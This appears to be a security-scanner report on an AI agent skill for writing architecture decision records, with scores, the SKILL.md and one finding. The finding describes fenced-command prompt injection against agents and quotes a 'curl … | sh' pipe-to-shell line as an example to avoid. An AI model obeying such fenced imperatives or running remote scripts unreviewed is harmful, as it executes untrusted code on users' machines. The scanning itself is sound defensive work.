CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

52```powershell

53git clone https://github.com/tranhieutt/software_development_department [Your folder clone's

… (6 chars elided on L53)

54cd [Your folder clone's path]

55powershell -NoProfile -ExecutionPolicy Bypass -File .\install-sdd.ps1 [Your folder project's

… (6 chars elided on L55)

56```

58This defaults to Product mode and runs preflight after install. Product mode preserves exist

… (70 chars elided on L58)

60Open your product directory after install:

Occurrences

1 occurrence · at L52

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2564465429263d5b0db…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

.claude/skills/architecture-decision-records/SKILL.md · 1 file

.claude/skills/architecture-decision-records/SKILL.md4.2 KB · Markdown

name: architecture-decision-records

type: workflow

description: "Manages the ADR (Architecture Decision Record) registry. Use when recording tech-stack choices, design patterns, or infrastructure decisions with context, alternatives, and rationale. Supports listing, searching, or creating formal ADR documents."

context: fork

agent: technical-director

allowed-tools: Read, Glob, Grep, Write, Bash

argument-hint: "[title or decision topic]"

user-invocable: true

effort: 4

when_to_use: "When needing to make a formal technology decision and record the underlying reasoning in docs/internal/adr/."

Architecture Decision Records

Workflow Protocol

Determine the next ADR number by scanning docs/internal/adr/ for existing ADRs.
Run the decision-ledger read gate before drafting:

/trace-history --risk High --last 20. Include relevant prior decisions, or state that no relevant high-risk prior decision was found.

Gather context by reading related code and existing ADRs.
Guide the user through the decision by asking clarifying questions if the title alone is insufficient.
Generate the ADR following the template below.
Save the ADR to docs/internal/adr/ADR-[NNN]-[slug].md.
Update the Index Table in docs/technical/DECISIONS.md.

When to write an ADR vs skip

Write ADR	Skip ADR
New framework/database adoption	Minor version upgrades
API design patterns	Bug fixes
Security architecture	Implementation details
Integration patterns	Routine maintenance

ADR lifecycle

Proposed → Accepted → Deprecated → Superseded
              ↓
           Rejected

Template (MADR format — use this)

# ADR-NNN: [Title]

## Status
Accepted | Proposed | Deprecated | Superseded by ADR-NNN

## Context
[Problem statement, current situation, constraints, scale]

## Prior Decision Check
[Result of `/trace-history --risk High --last 20`; cite relevant prior entries
or state "No relevant prior high-risk decisions found."]

## Decision Drivers
- [Must/Should/Could requirement]

## Considered Options
### Option 1: [Name] — [one-line summary]
Pros: ... | Cons: ...

### Option 2: [Name]
Pros: ... | Cons: ...

## Decision
We will use **[Option N]** because [key rationale].

## Consequences
**Positive:** ...
**Negative:** ...
**Risks:** ... Mitigation: ...

## Related ADRs
- ADR-NNN: [relationship]

Quick examples

Lightweight ADR (for clear-cut decisions):

# ADR-0012: Adopt TypeScript for Frontend

**Status**: Accepted | **Date**: 2024-01-15 | **Deciders**: @alice, @bob

## Context
50+ React components with prop-type-mismatch bugs. PropTypes are runtime-only.

## Decision
TypeScript for all new frontend code. Migrate incrementally with `allowJs: true`.

## Consequences
Good: Compile-time errors, better IDE support.
Bad: Learning curve, initial slowdown.

Y-Statement (for concise formal record):

In the context of **building a microservices architecture**,
facing **need for centralized auth and rate limiting**,
we decided for **Kong Gateway**
and against **AWS API Gateway and custom Nginx**,
to achieve **vendor independence and plugin extensibility**,
accepting **we manage Kong infrastructure ourselves**.

File structure

docs/internal/adr/
├── ADR-0001-use-postgresql.md
└── ADR-0003-mongodb-deprecated.md  # [SUPERSEDED by ADR-0020]

Index table (maintain in docs/technical/DECISIONS.md)

ADR	Title	Status	Date
0001	Use PostgreSQL	Accepted	2024-01-10
0003	MongoDB for profiles	Deprecated	2023-06-15

Key rules

Never modify accepted ADRs — write a new one to supersede
Write early — before implementation starts, not after
Max 1-2 pages — if longer, decision scope is too broad
State real cons — an ADR without honest tradeoffs has no value
Update status — mark deprecated when superseded; link the new ADR

Automation

# Custom repo path:
# 1. Create docs/internal/adr/ADR-[NNN]-[slug].md
# 2. Append one summary row and one summary entry to docs/technical/DECISIONS.md
# 3. Do not overwrite docs/technical/DECISIONS.md; it is append-only

architecture-decision-records— agent skill

Is architecture-decision-records safe to install?

Architecture Decision Records

Workflow Protocol

When to write an ADR vs skip

ADR lifecycle

Template (MADR format — use this)

Quick examples

File structure

Index table (maintain in docs/technical/DECISIONS.md)

Key rules

Automation

Audit the pieces. Scan the whole. Decide.